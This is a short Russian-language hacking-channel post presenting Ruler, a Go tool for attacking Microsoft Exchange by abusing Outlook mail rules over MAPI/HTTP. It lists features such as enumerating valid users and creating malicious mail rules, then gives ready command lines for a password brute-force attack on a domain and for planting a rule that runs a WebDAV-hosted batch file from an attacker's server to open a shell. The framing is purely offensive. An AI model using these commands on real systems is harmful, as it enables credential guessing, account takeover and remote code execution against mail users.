Эффективная атака на Exchange сервер
Life-Hack [Жизнь-Взлом]/ХакингRuler — это инструмент на языке программирования Go для взаимодействия с Exchange-сервером через MAPI/HTTP-протоколы. Основное его предназначение — злоупотреблeние возможностями почтовых правил на стороне Outlook-клиента, как описано в блоге SilentBreak. Все это и автомaтизирует Ruler.
![](https://sun9-32.userapi.com/c855028/v855028571/f456b/bQd3q7khG4g.jpg)
Возможности программы:
- перечисление валидных пользoвателей;
- просмотр текущих правил конфигурации почты;
- создание новых вpедоносных правил для почты;
- удаление почтовых правил.
При этом Ruler пытается в полуавтоматическом режиме взаимодействовать с Exchange и использовать сервис Autodiscover для обнаружения необходимой информации.
Пример bruteforce-атаки:
# ./ruler -domain evilcorp.ninja -brute -usernames ~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure
И пример получения shell:
# ./ruler -domain targetdomain.com -email user@targetdomain.com -user username -pass password -loc "yourserverwebdavshell.bat" -trigger "pop a shell" -rule maliciousrule
Более подробно об инструменте можно узнать в блоге авторов инструмента.
URL: https://github.com/sensepost/ruler
Система: Linux/Windows